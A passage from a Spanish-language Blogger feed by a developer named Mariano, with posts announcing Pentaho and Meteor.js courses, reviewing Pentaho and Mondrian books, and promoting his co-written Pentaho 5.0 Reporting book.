<br />Habrá que aprovechar!<br /><br />Saludos<br /><br />MarianoAnonymoushttp://www.blogger.com/profile/07443500083877011375noreply@blogger.com0tag:blogger.com,1999:blog-22972149.post-12249671881359135302014-03-26T10:54:00.001-03:002014-03-26T10:57:14.396-03:00Promoción 2K de Packt PublishingEn este caso quería comentarles acerca de una promoción que está realizando <a href="http://www.packtpub.com/">Packt Publishing</a>, en la cual si adquieres un libro te regalan cualquier otro ejemplar.<br />
<br />
La promoción se debe a que la editorial ha llegado a los 2000 títulos!<br />
<br />
Más información: <a href="http://www.packtpub.com/?utm_source=referral&utm_medium=marketingPR&utm_campaign=2000thTitle">http://www.packtpub.com/?utm_source=referral&utm_medium=marketingPR&utm_campaign=2000thTitle</a><br />
<div>
<br /></div>
En esta editorial hemos publicado junto a Dario Bernabeu el libro "<a href="http://www.packtpub.com/pentaho-5-0-reporting-by-example-beginners-guide/book">Pentaho 5.0 Reporting by Example: Beginner’s Guide</a>"<br />
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://dgdsbygo8mp3h.cloudfront.net/sites/default/files/2000th-Book-Home-Page-Banner.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://dgdsbygo8mp3h.cloudfront.net/sites/default/files/2000th-Book-Home-Page-Banner.png" height="165" width="400" /></a></div>
<div>
<br />
<br />
<br />
Saludos<br />
<br />
Mariano</div>
Anonymoushttp://www.blogger.com/profile/07443500083877011375noreply@blogger.com0tag:blogger.com,1999:blog-22972149.post-14139364750274827392014-02-27T12:28:00.000-03:002014-02-27T12:28:03.875-03:00Cursos Pentaho OSBI, Reporting & DashboardsEstimad@s,<br /><br />en abril comienzan 3 cursos Pentaho:<br /><br /><ul>
<li>Pentaho 5.0 OSBI</li>
</ul>
<br /><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIhmtFbU6g0XfMXThURMqrbxwO0SuBHChgZZZv57GVpgjfA025lZXmPZF19impQuVp7m9r71jTvq2kYQM4kp694zhqnWNt2SnnPmICjUgJuGX-eIIEymbXQMJ-uXLMThNqMbW4/s1600/curso-pentaho5-2014.jpg"><img border="0" height="452" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIhmtFbU6g0XfMXThURMqrbxwO0SuBHChgZZZv57GVpgjfA025lZXmPZF19impQuVp7m9r71jTvq2kYQM4kp694zhqnWNt2SnnPmICjUgJuGX-eIIEymbXQMJ-uXLMThNqMbW4/s640/curso-pentaho5-2014.jpg" width="640" /></a><br /><br /><br /><ul>
<li>Pentaho Reporting:</li>
</ul>
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6xpf_mf4kAEkatuzVMLaoyn_loUxgVzZLkYEphZ8p0X2EPWzZvDB0NxI5TigBDjUGvyP5WUTZbGZb6v51rVSxmYr6OPGIyUeRuiWsoTwpixK6C4ADfbUCk48Helsg53MuIxhf/s1600/pentaho_reporting_2014.jpg"><img border="0" height="459" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6xpf_mf4kAEkatuzVMLaoyn_loUxgVzZLkYEphZ8p0X2EPWzZvDB0NxI5TigBDjUGvyP5WUTZbGZb6v51rVSxmYr6OPGIyUeRuiWsoTwpixK6C4ADfbUCk48Helsg53MuIxhf/s640/pentaho_reporting_2014.jpg" width="640" /></a><br /><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyQhyWUud-XnwmiLELNBiPNNROYY7ZoUBXM97mq3YF0W1HdaIDb23ml_8c19Vmw8dMAoSiuH0HNqnzOO2ZHl7q24CMYOSMKwQICfgxnm1FURadiN-bAGsSwA9httOLJ5A6kfkW/s1600/pentaho_reporting_2014.jpg"><br /></a><br /><ul>
<li>Dashboards Advanced (<b><span style="color: red;">Nuevo!!! </span><span style="color: #274e13;">Ctools a tu alcance!</span></b>):</li>
</ul>
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhI2HCnCF6jayQ6B4UHCnRhnjFW-aim1tOYRq7s1HCOpgqt-ZdsKTyPiSYhxj22EqYTR6uINVtGdD0N0LV9F8X0TLYvoE816mkAOSgo2TgxLud-6eped9CsMXW8VDTcexOh-5Vg/s1600/dashboards-advanced-2014.jpg"><img border="0" height="453" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhI2HCnCF6jayQ6B4UHCnRhnjFW-aim1tOYRq7s1HCOpgqt-ZdsKTyPiSYhxj22EqYTR6uINVtGdD0N0LV9F8X0TLYvoE816mkAOSgo2TgxLud-6eped9CsMXW8VDTcexOh-5Vg/s640/dashboards-advanced-2014.jpg" width="640" /></a><br /><br /><br />Para más información escribir a <a href="mailto:cursos@troyanx.com">cursos@troyanx.com</a><br /><br /><b style="background-color: white;"><span style="color: red;">Los cupos son limitados!</span></b>, recomendamos reservar con anticipación.<div>
<br /></div>
<div>
Saludos</div>
<div>
<br /></div>
<div>
Mariano</div>
Anonymoushttp://www.blogger.com/profile/07443500083877011375noreply@blogger.com0tag:blogger.com,1999:blog-22972149.post-87313813481897569622013-12-04T21:46:00.001-03:002013-12-04T21:46:52.402-03:00Review de Mondrian in ActionHace unos 20 días aproximadamente comencé con la lectura de <a href="http://www.manning.com/back/">Mondrian in Action</a>, libro escrito por William D. Back,<a href="http://www.nicholasgoodman.com/bt/blog/"> Nicholas Goodman</a> y <a href="http://julianhyde.blogspot.com.ar/">Julian Hyde</a>.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjp1jfWDE4wi3sXR4CjC9cwLAT143QiwLnokqWF1yC4x0alWHd37bJM4IP88_nQngXuTBhIg_LuWW1s1JYTbNBurven_nYqrmfEwCFTbHaK3IXNAGkjuIaRI6RDOiIE0cSk5Rop/s1600/Selection_271.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjp1jfWDE4wi3sXR4CjC9cwLAT143QiwLnokqWF1yC4x0alWHd37bJM4IP88_nQngXuTBhIg_LuWW1s1JYTbNBurven_nYqrmfEwCFTbHaK3IXNAGkjuIaRI6RDOiIE0cSk5Rop/s320/Selection_271.png" width="263" /></a></div>
<br />
<br />
El libro está escrito de una forma muy seria y es muy simple de comprender, en cada capítulo, exceptuando el primero, se define perfectamente el público al cual está orientado. Los públicos posibles son:<br />
✓ Analistas de Negocio<br />
✓ Arquitectos de Datos<br />
✓ Arquitectos Empresariales u Organizacionales<br />
✓ Desarrolladores de Aplicaciones<br />
Y como decía, al inicio de cada capítulo se deja en claro a quién de estos roles está orientado.<br />
<br />
Por otro lado los capítulos son casi independientes, o sea, no es necesario leerlos en orden o a todos.<br />
<br />
El libro aborda en detalle la versión 4 de Mondrian.<br />
<br />
<u>Algo sobre los capítulos:</u><br />
<br />
En el capítulo 1 nos encontramos con el estado del arte en cuanto a la complejidad de generar reportes sobre las bases de datos actuales, las ventajas de los análisis OLAP y argumentos del porqué utilizar Mondrian para llevar a cabo los análisis.<br />
<br />
El capítulo 2 nos presenta formalmente a Mondrian y lo contextualiza respecto de las herramientas que lo complementan, también se presenta la base de datos que se utilizará como ejemplo en el libro.<br />
<br />
El capítulo 3 nos introduce en los conceptos relacionados con el modelado multimensional, esquemas estrella y diversas técnicas de modelado como: dimensiones de cambio lento (SCD), copos de nieve, dimensión tiempo, dimensiones degeneradas, etc. Este capítulo me ha parecido muy bueno, lo recomiendo ya que "pasa muchos conceptos en limpio" y contiene excelentes ejemplos.<br />
<br />
En el capítulo 4 comienza la acción, se crea paso a paso un esquema simple y se explica cada elemento XML, este esquema será extendido y utilizado en todo el libro. Tanto en este capítulo como en posteriores se van explicando las diferencias con las versiones anteriores del motor.<br />
<br />
En el capítulo 5 nos explican como van creciendo los esquemas y como mantener varios cubos e implementar diferentes tipos de dimensiones como pueden ser dimensiones compartidas, dimensiones conformadas, etc. También como almacenar dimensiones de diferentes formas explicando en cada caso ventajas y desventajas. Nos explican también como manejar jerarquías padre-hijo, ragged hierarchies a las que podríamos traducir como jerarquías imperfectas y por último diferentes tipos de cálculos.<br />
<br />
El capítulo 6 nos muestra como implementar seguridad basada en roles mediante ejemplos muy didácticos y sencillos, este capítulo desmitifica el siempre ríspido tema de seguridad en Mondrian.<br />
<br />
El capítulo 7 es uno de mis preferidos junto a uno de los últimos, se trata de performance, realmente presenta los problemas y las posibles soluciones de una forma excelente!, no he encontrado en la web ninguna post, ni paper que aúne este tema, centrado en Mondrian por supuesto, de forma tan completa y didáctica. Este capitulo sorprende al final cuando expone temas como <a href="http://www.webdetails.pt/ctools/cdc.html">Community Distributed Cache</a> (CDC) y varios tips que tienen que ver con <a href="http://meteorite.bi/saiku">Saiku</a>. Recomiendo su lectura.<br />
<br />
El capítulo 8 da un paso más allá en el tema seguridad, los autores nos explican como implementar seguridad dinámica desde dos puntos de vista exponiendo sus pros y contras de forma muy clara y precisa, como siempre acompañando cada tema con sendos ejemplos. Nos muestran como implementar procesadores de esquema dinámicos y como restringir los datos mediante la modificación dinámica de roles.<br />
<br />
El capitulo 9 nos muestra como se utiliza a Mondrian desde las principales herramientas de explotación de Pentaho, tanto las comerciales como las Open Source, los autores nos dan un pequeño paseo por: Pentaho Analyzer, <a href="http://meteorite.bi/saiku">Saiku</a>, <a href="http://www.webdetails.pt/ctools/cdf.html">Community Dasboard Framework</a> (CDF), <a href="http://www.packtpub.com/pentaho-5-0-reporting-by-example-beginners-guide/book">Pentaho Report Designer</a> (PRD) y <a href="http://www.packtpub.com/pentaho-data-integration-cookbook-second-edition/book">Pentaho Data Integration</a> (PDI). Nada que un usuario medio de la suite no conozca ya.<br />
<br />
El capítulo 10 es el otro de mis capítulos preferidos, definitivamente debido a mi perfil, soy desarrollador. Este capítulo nos muestra con sendos ejemplos, como lidiar con conexiones a Mondrian, obtener metadata, ejecutar sentencias MDX y manejar los resultados, comienza por el camino duro, esto es, puro javascript y luego lo hace implementado <a href="https://code.google.com/p/xmla4js/">xmla4js</a> desde un cliente web, al final nos muestra como implementar clientes java (desktop o servidor) mediante <a href="http://www.olap4j.org/">olap4j</a>.<br />
<br />
El capítulo 11 ahonda un poco en el lenguaje MDX con buenos ejemplos en posibles escenarios. Este capítulo es muy didáctico aunque muy escueto para mu gusto, esto es, faltaría cubrir algunos escenarios comunes más. Aunque los que están cubiertos son una muy buena propuesta.<br />
<br />
Para redondear debo decir que es un excelente libro y que recomiendo sin lugar a dudas su lectura.<br />
<br />
Los autores son si duda un trío excelente, uno de ellos es Julyan Hyde el creador de Mondrian.<br />
<br />
Saludos<br />
<br />
Mariano<br />
<br />
<br />
<br />Anonymoushttp://www.blogger.com/profile/07443500083877011375noreply@blogger.com0tag:blogger.com,1999:blog-22972149.post-71042750747715603802013-11-19T11:31:00.000-03:002013-11-19T14:29:47.460-03:00Especialización en sistemas móviles y aplicaciones de servicios intercativos en redEstimad@s,<br />
<br />
en esta ocasión los quiero invitar a formar parte de la primera cohorte de la <b style="font-style: italic;">"Especialización en sistemas móviles y aplicaciones de servicios intercativos en red" </b>que se dictará en forma presencial en la <a href="http://www.ucc.edu.ar/">Universidad Católica de Córdoba</a>.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLI1tMVUWoGtAGRr30KaYJpSGHCosC3Ufvi9EzMdbfoBePF_tEbMTn2yvv449Je7rxCZvmfIxEHWv_ZZ4oQOgnd1wB32Zk8yYZsyACwn13d8RlEVKioik5EVLgL6hk6hZmzt-9/s1600/imagen-encabezado-esp-sistemas-moviles-web.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="192" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLI1tMVUWoGtAGRr30KaYJpSGHCosC3Ufvi9EzMdbfoBePF_tEbMTn2yvv449Je7rxCZvmfIxEHWv_ZZ4oQOgnd1wB32Zk8yYZsyACwn13d8RlEVKioik5EVLgL6hk6hZmzt-9/s400/imagen-encabezado-esp-sistemas-moviles-web.jpg" width="400" /></a></div>
<br />
<br />
Este posgrado es como un sueño hecho realidad para mí ya que he formado parte del pequeño grupo que la ha creado. Personalmente he participado en la creación de carreras de grado, años atrás tuve la oportunidad de formar parte del grupo que creó la carrera de Ingeniería en Informática de una prestigiosa universidad, hoy tenemos camadas de egresados de esa carrera cuyo desempeño es brillante en la faz laboral. Siempre que me ha tocado este rol, he pensado simplemente en "que me gustaría como profesional?" y luego he intentado traducirlo en asignaturas, en este caso he compartido la visión con algunos colegas y hemos creado una carrera pensada en las necesidades de las organizaciones actuales, una de los objetivos de este posgrado es que el estudiante conozca y pueda llevar a la práctica nuevas tecnologías relacionadas con mobile y web.<br />
<br />
<b>Brindamos la posibilidad a empresas que formen parte de nuestro posgrado a través de convenios.</b><br />
<br />
Más información <a href="http://www.ucc.edu.ar/portalnuevo/interna_ucc.php?sec=22&pag=1700&pad=515">aquí</a>.<br />
<br />
Para consultas: <a href="mailto:magm3333@gmail.com">magm3333@gmail.com</a><br />
<br />
Saludos<br />
<br />
MarianoAnonymoushttp://www.blogger.com/profile/07443500083877011375noreply@blogger.com0tag:blogger.com,1999:blog-22972149.post-68450211487612999052013-10-10T09:39:00.001-03:002013-10-10T09:43:23.800-03:00Taller FLOSS Reporting con Pentaho 5 en las jornadas de informática de la UNdeCLos días 4 y 5 de octubre se realizaron en la Universidad Nacional de Chilecito (<a href="http://www.undec.edu.ar/">UNdeC</a>) las VI Jornadas de Informática y Comunicaciones.<br />
<br />
Fuimos invitados a dictar un taller sobre Pentaho Reporting 5, el mismo fue dictado el día 4 con muy alta concurrencia.<br />
Aprovechamos la oportunidad para hablar de nuestro <a href="http://www.packtpub.com/pentaho-5-0-reporting-by-example-beginners-guide/book">libro</a> y el proceso de construcción. Algunos concurrentes fueron acreedores de copia (gracias <b>Sandy Joseph </b>de<b> Packtpub</b>).<br />
<br />
Más información de las jornadas <a href="http://www.undec.edu.ar/detalle.php?id=301">aquí</a>.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://www.undec.edu.ar/img/301.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="266" src="http://www.undec.edu.ar/img/301.jpg" width="400" /></a></div>
<br />
<br />
Agradezco personalmente a <b>Fernanda Carmona</b> por la invitación y excelente recibimiento.<br />
<br />
Saludos<br />
Mariano<br />
<br />Anonymoushttp://www.blogger.com/profile/07443500083877011375noreply@blogger.com0tag:blogger.com,1999:blog-22972149.post-67223478673262994332013-09-12T18:09:00.000-03:002013-09-12T18:12:31.293-03:00Revisión del libro: Instant Pentaho Data Integration KitchenHace unos días he recibido el libro "<a href="http://www.packtpub.com/pentaho-data-integration-kitchen/book">Instant Pentaho Data Integration Kitchen</a>" para realizar una revisión. El autor del libro es <a href="http://ramathoughts.blogspot.com.ar/"> Sergio Ramazzina</a>.<br />
Hasta el fin de semana pasado no había tenido tiempo de leerlo, al abrirlo me encontré con una obra de unas 70 páginas aproximadamente que constituye una guía con buen nivel de detalle de las herramientas <b>kitchen</b> y <b>pan</b> de Pentaho Data Integration (PDI), o para los más viejos, Kettle.<br />
El libro guía al lector en el aprendizaje de estas herramientas mediante ejemplos prácticos muy simples y concretos.<br />
La ejecución de trabajos y transformaciones dentro y fuera de un repositorio y no son un tabú.<br />
Este libro demuestra la flexibilidad que brindan estas herramientas ejecutadas desde la consola.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://dgdsbygo8mp3h.cloudfront.net/sites/default/files/imagecache/productview_larger/6906OT_Instant%20Pentaho%20Data%20Integration%20Kitchen.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="http://dgdsbygo8mp3h.cloudfront.net/sites/default/files/imagecache/productview_larger/6906OT_Instant%20Pentaho%20Data%20Integration%20Kitchen.jpg" width="324" /></a></div>
Recomiendo la lectura de este libro, más de un usuario habitual de PDI se sorprenderá.<br />
<br />
Saludos<br />
MarianoAnonymoushttp://www.blogger.com/profile/07443500083877011375noreply@blogger.com0tag:blogger.com,1999:blog-22972149.post-23622037952729751742013-09-10T08:32:00.003-03:002013-09-10T08:32:50.589-03:00Curso de Pentaho Reporting (100% distancia!)<div style="margin-bottom: 0.5em; margin-top: 0.5em;">
Hola Estmad@s.</div>
<div style="margin-bottom: 0.5em; margin-top: 0.5em;">
<br />Desde eGluBI, invitarl@s a nuestro nuevo curso online de Pentaho Reporting:</div>
<div style="margin-bottom: 0.5em; margin-top: 0.5em;">
<br /><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVvVOc7J1X8IWxKzYQYKHjuQuTirvKmqPibZSttXDna1DgRq_1KniGD_YyCcMdPWZrOmPLMLRcgN8od5tdZrPhyphenhyphen0HkZnlhsTCqJn2b6jWyM0Rmg0_Bus88dnTAxcGdiRD-f0pD/s1600/PentahoReporting_v02.jpg" imageanchor="1" rel="nofollow" style="background-color: white; color: #336299; font-family: Arial, 'Trebuchet MS', Verdana; font-size: 13px; line-height: 16px; text-decoration: none;" target="_blank"><img border="0" height="464" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVvVOc7J1X8IWxKzYQYKHjuQuTirvKmqPibZSttXDna1DgRq_1KniGD_YyCcMdPWZrOmPLMLRcgN8od5tdZrPhyphenhyphen0HkZnlhsTCqJn2b6jWyM0Rmg0_Bus88dnTAxcGdiRD-f0pD/s640/PentahoReporting_v02.jpg" style="border: 0px;" width="640" /></a></div>
<div style="margin-bottom: 0.5em; margin-top: 0.5em;">
<br /></div>
<div style="margin-bottom: 0.5em; margin-top: 0.5em;">
El curso será dictado a través de un aula virtual desde la cual nos encargaremos de guiar el proceso de aprendizaje, como así también de responder todas las consultas que vayan surgiendo.</div>
<div style="margin-bottom: 0.5em; margin-top: 0.5em;">
El curso inicia el 15 de Octubre de 2013 y tiene una duración aproximada de 120hs. Los cupos son limitados así que quien tenga interés, le recomendamos se ponga en contacto o solicite más información a esta dirección:<span style="font-family: Times, Times New Roman, serif;"> <a class="mailto" href="mailto:admin@troyanx.com" style="background-color: white; color: #336299; line-height: 16px; text-decoration: none;">admin@troyanx.com</a></span></div>
<br />Saludos<br /><br />MarianoAnonymoushttp://www.blogger.com/profile/07443500083877011375noreply@blogger.com0tag:blogger.com,1999:blog-22972149.post-74448372412724187682013-09-03T18:54:00.000-03:002013-09-03T18:54:34.223-03:00Seminario: Introducción a METEOR.JS<div class="article_title" style="border-bottom-color: rgb(54, 64, 92); border-bottom-style: solid; border-bottom-width: 1px; font-family: Verdana, Arial, Helvetica, sans-serif; margin: 5px 10px 0px 200px; min-width: 100px; padding: 10px;">
<h3 class="azul" style="color: #36405c; font-size: 16px; line-height: 22px; margin-bottom: 0px; margin-top: 0px;">
</h3>
</div>
<div class="article_descriptif" style="border-bottom-color: rgb(54, 64, 92); border-bottom-style: solid; border-bottom-width: 1px; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; font-style: italic; margin: 0px 10px 0px 200px; min-width: 100px; padding: 10px;">
<b><span style="color: blue;">Martes 10 y miércoles 11 de setiembre. Laboratorio B - Facultad de Ingeniería del Instituto Universitario Aeronáutico</span></b></div>
<div class="article_texte" style="border: 0px; font-family: Verdana, Arial, Helvetica, sans-serif; margin: 0px 10px 0px 200px; min-width: 100px; padding: 10px;">
<div align="justify" class="spip" style="font-size: 12px; line-height: 22px; margin-bottom: 5px;">
<b><span style="color: red;">CUPOS LIMITADOS!</span></b></div>
<div align="justify" class="spip" style="font-size: 12px; line-height: 22px; margin-bottom: 5px;">
Seminario: <strong class="spip">"INTRODUCCION A METEOR.JS"</strong><br />
<strong class="spip"><br /></strong>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7W3QIdz3dk8arkrc_cBO2wBJckHYn4ofD7uji8r22R7KH5BYPMFUz3tugER6FBlmhIrE0q6lxqThzqZ_SGWLcFpm5K6JTppC22VX0DeMzF1yU5L_MmJNz8QIDlc4iV5_qofla/s1600/meteor-js-animated.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7W3QIdz3dk8arkrc_cBO2wBJckHYn4ofD7uji8r22R7KH5BYPMFUz3tugER6FBlmhIrE0q6lxqThzqZ_SGWLcFpm5K6JTppC22VX0DeMzF1yU5L_MmJNz8QIDlc4iV5_qofla/s1600/meteor-js-animated.gif" height="200" width="200" /></a></div>
<strong class="spip"><br /></strong></div>
<div align="justify" class="spip" style="font-size: 12px; line-height: 22px; margin-bottom: 5px;">
<img alt="-" src="http://noticias.iua.edu.ar/puce.gif" height="11" style="border: 0px;" width="8" /> Fecha: 10 y 11 de setiembre, 18 a 22 hs.<br />
<img alt="-" src="http://noticias.iua.edu.ar/puce.gif" height="11" style="border: 0px;" width="8" /> Director: Ing. Mariano GARCÍA MATTÍO.<br />
<br /></div>
<div align="justify" class="spip" style="font-size: 12px; line-height: 22px; margin-bottom: 5px;">
<strong class="spip">DESTINATARIOS:</strong> Alumnos, docentes, investigadores de las carreras de Sistemas, Informática y afines. Los interesados deberán poseer preferentemente conocimientos de HTML, CSS, Javascript y algoritmia.</div>
<div align="justify" class="spip" style="font-size: 12px; line-height: 22px; margin-bottom: 5px;">
<strong class="spip">OBJETIVOS</strong>:</div>
<div align="justify" class="spip" style="font-size: 12px; line-height: 22px; margin-bottom: 5px;">
Acercar a los asistentes a las nuevas tecnologías cliente/servidor basadas en Chrome V8 Javascript, particularmente Meteor</div>
<div align="justify" class="spip" style="font-size: 12px; line-height: 22px; margin-bottom: 5px;">
<img alt="-" src="http://noticias.iua.edu.ar/puce.gif" height="11" style="border: 0px;" width="8" /> Instalar y ejecutar y realizar tareas rutinarias con Meteor;<br />
<img alt="-" src="http://noticias.iua.edu.ar/puce.gif" height="11" style="border: 0px;" width="8" /> Lograr discriminar componentes del lado del cliente y servidor en Meteor<br />
<img alt="-" src="http://noticias.iua.edu.ar/puce.gif" height="11" style="border: 0px;" width="8" /> Comprender como implementar la programación reactiva en Meteor;<br />
<img alt="-" src="http://noticias.iua.edu.ar/puce.gif" height="11" style="border: 0px;" width="8" /> Comprender el sistema de persistencia de Meteor;<br />
<img alt="-" src="http://noticias.iua.edu.ar/puce.gif" height="11" style="border: 0px;" width="8" /> Generar una aplicación paso a paso en Meteor, en otras palabras, que los asistentes realicen una práctica guiada.</div>
<div align="justify" class="spip" style="font-size: 12px; line-height: 22px; margin-bottom: 5px;">
<strong class="spip">PROGRAMA</strong></div>
<div align="justify" class="spip" style="font-size: 12px; line-height: 22px; margin-bottom: 5px;">
<strong class="spip">Parte I</strong><br />
<img alt="-" src="http://noticias.iua.edu.ar/puce.gif" height="11" style="border: 0px;" width="8" /> Qué es y que podemos hacer con Meteor.js<br />
<img alt="-" src="http://noticias.iua.edu.ar/puce.gif" height="11" style="border: 0px;" width="8" /> Un poco de historia<br />
<img alt="-" src="http://noticias.iua.edu.ar/puce.gif" height="11" style="border: 0px;" width="8" /> Los siete principios de Meteor<br />
<img alt="-" src="http://noticias.iua.edu.ar/puce.gif" height="11" style="border: 0px;" width="8" /> Plantillas y funciones<br />
<img alt="-" src="http://noticias.iua.edu.ar/puce.gif" height="11" style="border: 0px;" width="8" /> Meteor y su base de datos (MongoDB)<br />
<img alt="-" src="http://noticias.iua.edu.ar/puce.gif" height="11" style="border: 0px;" width="8" /> Vistas, planillas y fuentes de datos<br />
<img alt="-" src="http://noticias.iua.edu.ar/puce.gif" height="11" style="border: 0px;" width="8" /> Estilos (Twitter Bootstrap)</div>
<div align="justify" class="spip" style="font-size: 12px; line-height: 22px; margin-bottom: 5px;">
<strong class="spip">Parte II</strong><br />
<img alt="-" src="http://noticias.iua.edu.ar/puce.gif" height="11" style="border: 0px;" width="8" /> Variables de estado y getters para plantillas<br />
<img alt="-" src="http://noticias.iua.edu.ar/puce.gif" height="11" style="border: 0px;" width="8" /> Implementación de la operación CRUD Create<br />
<img alt="-" src="http://noticias.iua.edu.ar/puce.gif" height="11" style="border: 0px;" width="8" /> Eventos<br />
<img alt="-" src="http://noticias.iua.edu.ar/puce.gif" height="11" style="border: 0px;" width="8" /> Relacionar plantillas (master-detail)<br />
<img alt="-" src="http://noticias.iua.edu.ar/puce.gif" height="11" style="border: 0px;" width="8" /> Implementación de la operación CRUD Remove<br />
<img alt="-" src="http://noticias.iua.edu.ar/puce.gif" height="11" style="border: 0px;" width="8" /> Estados de las vistas<br />
<img alt="-" src="http://noticias.iua.edu.ar/puce.gif" height="11" style="border: 0px;" width="8" /> Implementación de la operación CRUD Update</div>
<div align="justify" class="spip" style="font-size: 12px; line-height: 22px; margin-bottom: 5px;">
<strong class="spip">Parte III</strong><br />
<img alt="-" src="http://noticias.iua.edu.ar/puce.gif" height="11" style="border: 0px;" width="8" /> MongoDB embebido en Meteor<br />
<img alt="-" src="http://noticias.iua.edu.ar/puce.gif" height="11" style="border: 0px;" width="8" /> Autopublicacion<br />
<img alt="-" src="http://noticias.iua.edu.ar/puce.gif" height="11" style="border: 0px;" width="8" /> Configuracion de pub/sub</div>
<div align="justify" class="spip" style="font-size: 12px; line-height: 22px; margin-bottom: 5px;">
<strong class="spip">Parte IV</strong><br />
<img alt="-" src="http://noticias.iua.edu.ar/puce.gif" height="11" style="border: 0px;" width="8" /> Estructura de la aplicación Meteor<br />
<img alt="-" src="http://noticias.iua.edu.ar/puce.gif" height="11" style="border: 0px;" width="8" /> Estructura de carpetas<br />
<img alt="-" src="http://noticias.iua.edu.ar/puce.gif" height="11" style="border: 0px;" width="8" /> Seguridad<br />
<img alt="-" src="http://noticias.iua.edu.ar/puce.gif" height="11" style="border: 0px;" width="8" /> Autenticación<br />
<img alt="-" src="http://noticias.iua.edu.ar/puce.gif" height="11" style="border: 0px;" width="8" /> Personalizar resultados<br />
<img alt="-" src="http://noticias.iua.edu.ar/puce.gif" height="11" style="border: 0px;" width="8" /> Modificación de publicación<br />
<img alt="-" src="http://noticias.iua.edu.ar/puce.gif" height="11" style="border: 0px;" width="8" /> Múltiples Cuentas</div>
<div align="justify" class="spip" style="font-size: 12px; line-height: 22px; margin-bottom: 5px;">
<strong class="spip">Parte V</strong><br />
<img alt="-" src="http://noticias.iua.edu.ar/puce.gif" height="11" style="border: 0px;" width="8" /> Paquetes de terceros<br />
<img alt="-" src="http://noticias.iua.edu.ar/puce.gif" height="11" style="border: 0px;" width="8" /> Empaquetado de aplicaciones<br />
<img alt="-" src="http://noticias.iua.edu.ar/puce.gif" height="11" style="border: 0px;" width="8" /> Publicación de aplicaciones en la Web</div>
<div align="justify" class="spip" style="font-size: 12px; line-height: 22px; margin-bottom: 5px;">
<strong class="spip">Certificados:</strong> Se entregarán certificados, y para lograr esta certificación los cursantes deberán contar con el 80% o más de asistencia al curso, y haber rendido y aprobado la evaluación final. El curso otorgará 1 crédito para los alumnos de la Facultad de Ingeniería (para todas las carreras) que aprueban el mismo. Los alumnos que deseen la certificación deberán abonar un costo de $65 por certificado.</div>
<div align="justify" class="spip" style="font-size: 12px; line-height: 22px; margin-bottom: 5px;">
<strong class="spip"><a href="http://seminarios.iua.edu.ar/">INSCRIPCIONES>></a></strong></div>
</div>
Anonymoushttp://www.blogger.com/profile/07443500083877011375noreply@blogger.com0tag:blogger.com,1999:blog-22972149.post-41425484064744077842013-08-26T20:54:00.001-03:002013-08-26T20:59:30.682-03:00Nuevo libro: Pentaho 5.0 ReportingHola gente,<br />
<br />
Tengo el agrado de informales que ya está disponible el nuevo libro de Pentaho Report Designer 5!<br />
<br />
Lo hemos co-escrito con mi colega y amigo <a href="http://tgx-hefesto.blogspot.com.ar/">Darío Bernabeu</a>, ha sido una ardua tarea pero ha valido la pena el tiempo y esfuerzo:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://www.packtpub.com/sites/default/files/2247OS_cover.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/proxy/AVvXsEjQ1kz232UEKmYy1ASPHnRMNshaxtqWy-cNaBbgifLhgeStRFueU3p90IsNGSQ-p4lgV8T6EyXDGFv3PS4DnHTynrV6y6bIoiVeLxRHyuJOilEv7JmsKS85D6ZBZT8Mg2QS6hxufyQMBWIuoNRMA6I2OTzNde2y1A=" /></a></div>
<br />
<br />
Para más detalles acerca de las temáticas tratadas en el libro, se puede seguir <a href="http://www.packtpub.com/pentaho-5-0-reporting-by-example-beginners-guide/book">este link</a>.<br />
<br />
Esperamos sea de su agrado.<br />
<br />
Saludos<br />
<br />
Mariano
